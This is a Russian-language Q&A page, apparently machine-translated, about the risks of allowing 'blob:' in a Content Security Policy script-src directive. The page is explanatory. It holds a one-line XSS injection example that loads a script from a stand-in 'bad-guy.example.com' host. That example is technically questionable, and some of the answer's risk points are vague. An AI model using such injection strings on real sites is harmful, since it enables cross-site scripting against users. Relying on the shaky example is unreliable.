CSP скрипт-scr бинарный

Вопрос или проблема

Какие риски связаны с разрешением директивы “blob:” для script-src CSP? Это безопасно? У меня есть список разрешенных доменов, определенных в script-src, но тем не менее я получил ошибку, указывающую на нарушение директивы CSP при попытке получить доступ к ресурсу blob:myURL/my-id.

Есть пример, который демонстрирует хорошие и плохие практики на следующей странице: https://csplite.com/csp105/;, но это действительно для object-src. А что насчет script-src?

Разрешение директивы “blob:” для script-src определенно небезопасно. Смотрите https://www.w3.org/TR/CSP2/#source-list-guid-matching, секция 4.2.2.1

Как уже было определено выше, специальные схемы URL, которые ссылаются на конкретные элементы уникального контента, такие как “data:”, “blob:” и “filesystem:”, исключены из соответствия политике * и должны быть явно перечислены. Авторы политик должны учитывать, что содержимое таких URL часто происходит из тела ответа или выполнения в контексте документа, что может быть небезопасно. Особенно для директив default-src и script-src авторы политик должны быть осведомлены о том, что разрешение “data:” URL эквивалентно unsafe-inline, а разрешение “blob:” или “filesystem:” URL эквивалентно unsafe-eval.

По сути, это позволяет вам внедрить атаку через межсайтовый скриптинг,injecting a script in an Url:

/app?name=<script src="blob:https://bad-guy.example.com/bad-stuff.js"></script>

Ответ или решение

Разрешение директивы "blob:" для CSP (Content Security Policy) в контексте параметра script-src влечет за собой серьезные риски. Прежде всего, важно понимать, что директива CSP предназначена для предотвращения атак, таких как межсайтовый скриптинг (XSS), который может негативно сказаться на безопасности веб-приложений.

Основные риски разрешения "blob:" в script-src CSP

  1. Уязвимость к XSS-атакам: Разрешая "blob:", вы потенциально открываете дверь для злоумышленников. Например, диалог, введенный в URL-адресе, может содержать вредоносный JavaScript-код, который затем будет выполнен в контексте вашего приложения. Это означает, что злоумышленник может передать вам злоумышленный URL, который будет интерпретироваться как ресурс вашего сайта.

  2. Сложность контроля контента: В отличие от явных скриптов, которые загружаются с известного домена, содержимое blob-URL может быть создано динамически. Таким образом, труднее удостовериться в том, что оно безопасно и соответствует установленным политикам. Это увеличивает риск того, что нежелательный код будет выполнен.

  3. Уязвимость к фишингу: Злоумышленники могут создать URL, который выглядит легитимным, но фактически загружает или исполняет вредоносный код, что ставит под угрозу конфиденциальность данных пользователей.

  4. Обход механизмов безопасности: Разрешение на blob: может привести к тому, что злоумышленники обойдут другие элементы безопасности, установленные на уровне CSP, такие как ограничения по доменам или использование безопасного контента.

Рекомендации по улучшению безопасности CSP

  • Избегайте использования "unsafe-inline" и "unsafe-eval": Это поощряет использование методов, которые могут быть эксплуатируемыми. Вместо этого лучше полагаться на более строгие правила загрузки контента из проверенных источников.

  • Явно указывать источники: Настроив список разрешенных доменов в параметре script-src, вы сможете существенно снизить риск выполнения вредоносного кода. К примеру, вместо использования blob: стоит использовать только проверенные и безопасные источники.

  • Регулярные проверки: Периодически проверяйте вашу политику CSP на предмет актуальности и безопасности, особенно после добавления новых функций или изменений в приложении.

Заключение

С учетом всех вышеупомянутых рисков, разрешение директивы "blob:" в параметре script-src CSP считается небезопасным. Данная практика может привести не только к утечке данных, но и к полной компрометации вашего веб-приложения. Настоятельно рекомендуется избегать такого подхода и максимизировать использование жестких политик CSP для защиты ваших пользователей и данных.

Для дальнейшего изучения безопасности диспетчеризации контента, пожалуйста, ознакомьтесь с CSP спецификациями на сайте W3C.

Оцените материал
Добавить комментарий

Капча загружается...